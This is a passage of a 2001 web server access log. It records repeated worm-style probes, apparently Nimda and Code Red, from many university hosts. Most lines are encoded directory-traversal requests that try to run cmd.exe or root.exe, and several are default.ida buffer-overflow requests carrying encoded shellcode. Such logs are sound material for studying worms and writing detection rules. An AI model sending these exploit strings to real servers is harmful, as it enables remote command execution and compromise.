  7162. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7163. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7164. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7165. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7166. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7167. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7168. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7169. 20010918 23:19:41: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7170. 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7171. 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7172. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7173. 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7174. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7175. 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7176. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7177. 20010918 23:19:43: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7178. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7179. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7180. 20010918 23:19:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7181. 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7182. 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7183. 20010918 23:19:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7184. 20010918 23:19:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7185. 20010918 23:19:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7186. 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7187. 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7188. 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7189. 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7190. 20010918 23:19:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7191. 20010918 23:19:46: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7192. 20010918 23:22:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7193. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7194. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7195. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7196. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7197. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7198. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7199. 20010918 23:25:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7200. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7201. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7202. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7203. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7204. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7205. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7206. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7207. 20010918 23:25:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7208. 20010918 23:25:20:  [128.134.72.162] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7209. 20010918 23:25:43:  [128.134.72.162] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7210. 20010918 23:26:02:  [128.134.72.162] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7211. 20010918 23:26:21:  [128.134.72.162] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7212. 20010918 23:26:40:  [128.134.72.162] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7213. 20010918 23:26:59:  [128.134.72.162] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7214. 20010918 23:27:18: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7215. 20010918 23:27:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7216. 20010918 23:27:18: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7217. 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7218. 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7219. 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7220. 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7221. 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7222. 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7223. 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7224. 20010918 23:27:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7225. 20010918 23:27:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7226. 20010918 23:27:19:  [128.134.72.162] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7227. 20010918 23:27:37: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7228. 20010918 23:27:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7229. 20010918 23:27:37: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7230. 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7231. 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7232. 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7233. 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7234. 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7235. 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7236. 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7237. 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7238. 20010918 23:27:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7239. 20010918 23:27:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7240. 20010918 23:27:38:  [128.134.72.162] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7241. 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7242. 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7243. 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7244. 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7245. 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7246. 20010918 23:27:57: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7247. 20010918 23:27:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7248. 20010918 23:27:57:  [128.134.72.162] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7249. 20010918 23:28:15:  [128.134.72.162] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7250. 20010918 23:28:34:  [128.134.72.162] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7251. 20010918 23:28:53:  [128.134.72.162] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7252. 20010918 23:29:12:  [128.134.72.162] ""
  7253. 20010918 23:29:40:  [128.134.72.162] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7254. 20010918 23:29:59:  [128.134.72.162] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7255. 20010918 23:30:21:  [128.134.72.162] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7256. 20010918 23:30:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7257. 20010918 23:36:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7258. 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7259. 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7260. 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7261. 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7262. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7263. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7264. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7265. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7266. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7267. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7268. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7269. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7270. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7271. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7272. 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7273. 20010918 23:40:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7274. 20010918 23:51:07: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7275. 20010918 23:56:27: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7276. 20010918 23:56:31: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7277. 20010918 23:56:34: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7278. 20010918 23:56:38: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7279. 20010918 23:56:43: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7280. 20010918 23:56:49: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7281. 20010918 23:56:57: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7282. 20010918 23:57:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7283. 20010918 23:57:53: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7284. 20010919 00:09:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7285. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7286. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7287. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7288. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7289. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7290. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7291. 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7292. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7293. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7294. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7295. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7296. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7297. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7298. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7299. 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7300. 20010919 00:15:12: wily-b-049.resnet.purdue.edu [128.211.225.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7301. 20010919 00:18:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7302. 20010919 00:19:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7303. 20010919 00:21:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7304. 20010919 00:21:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7305. 20010919 00:21:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7306. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7307. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7308. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7309. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7310. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7311. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7312. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7313. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7314. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7315. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7316. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7317. 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7318. 20010919 00:21:33: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7319. 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7320. 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
